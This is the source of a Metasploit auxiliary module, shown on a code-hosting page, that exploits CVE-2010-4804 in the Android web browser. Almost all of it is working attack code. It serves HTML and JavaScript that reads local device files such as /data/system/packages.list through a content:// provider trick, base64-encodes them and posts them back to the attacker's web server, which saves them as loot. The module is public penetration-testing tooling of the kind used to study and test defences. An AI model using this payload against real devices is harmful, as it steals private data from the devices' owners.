Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/android_htmlfileprovider.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer::HTML7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Android Content Provider File Disclosure',12'Description' => %q{13This module exploits a cross-domain issue within the Android web browser to14exfiltrate files from a vulnerable device.15},16'Author' =>17[18'Thomas Cannon', # Original discovery, partial disclsoure19'jduck' # Metasploit module20],21'License' => MSF_LICENSE,22'Actions' =>23[24[ 'WebServer' ]25],26'PassiveActions' =>27[28'WebServer'29],30'References' =>31[32[ 'CVE', '2010-4804' ],33[ 'URL', 'http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/' ]34],35'DefaultAction' => 'WebServer'))3637register_options(38[39OptString.new('FILES', [ false, "The remote file(s) to steal",40'/proc/version,/proc/self/status,/data/system/packages.list' ])41])42end4344def on_request_uri(cli, request)45print_status("Request '#{request.method} #{request.uri}'")46selected_headers = [ 'user-agent', 'origin', 'referer' ]47request.headers.each_key { |k|48next if not selected_headers.include? k.downcase49print_status("#{k}: #{request.headers[k]}")50}5152return process_post(cli, request) if request.method == "POST"5354# Only GET requests now..55if request.uri =~ /\.html?$/56filename = request.uri.split('/').last57target_files = datastore['FILES'].split(',').map{ |e|58"'%s'" % e59}.join(',')6061upload_url = get_uri(cli)62upload_url << '/' if upload_url[-1,1] != '/'63upload_url << 'q'6465html = <<-EOS66<html>67<body>68<script lang=javascript>69var target_files = Array(#{target_files});70var results = new Array();71function addField(form, name, value) {72var hf = document.createElement('input');73hf.setAttribute('type', 'hidden');74hf.setAttribute('name', name);75hf.setAttribute('value', value);76form.appendChild(hf);77}78function uploadFiles(files) {79var form = document.createElement('form');80form.setAttribute('method', 'POST');81form.setAttribute('action', '#{upload_url}');82var i = 0;83for (var fn in files) {84addField(form, 'f'+i, btoa(fn));85addField(form, 'd'+i, files[fn]);86i += 1;87}88document.body.appendChild(form);89form.submit();90}91for (var fn in target_files) {92fn = target_files[fn];93xh = new XMLHttpRequest();94xh.open('GET', fn, false);95xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }96xh.send();97}98uploadFiles(results);99</script>100</body>101</html>102EOS103104print_status("Sending payload HTML ...")105send_response_html(cli, html,106{107'Cache-Control' => 'public',108'Content-Description' => 'File Transfer',109'Content-Disposition' => "attachment; filename=#{filename}",110'Content-Transfer-Encoding' => 'binary',111'Content-Type' => 'text/html'112})113114115else116payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))117118html = <<-EOS119<html>120<body>121<script lang=javascript>122setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);123setTimeout("document.location = '#{payload_fn}.html';", 500);124</script>125</body>126</html>127EOS128129print_status("Sending initial HTML ...")130send_response_html(cli, html)131132end133end134135def process_post(cli, request)136137results = {}138139if request and request.body140request.body.split('&').each { |var|141parts = var.split('=', 2)142if parts.length != 2143print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")144else145fln,fld = parts146fld = Rex::Text.uri_decode(fld).unpack('m').first147start = fln.slice!(0,1)148if start == "f"149results[fln] ||= {}150results[fln][:filename] = fld151elsif start == "d"152results[fln] ||= {}153results[fln][:data] = fld154end155end156}157end158159results.each_key { |k|160e = results[k]161fn = e[:filename]162data = e[:data]163print_good("#{fn.inspect} contains #{data.inspect}")164165fn.gsub!(/[\/\\]/, '.')166fn.gsub!(/^\./, '')167store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)168}169170send_response_html(cli, "thx")171end172173def run174exploit()175end176end177178179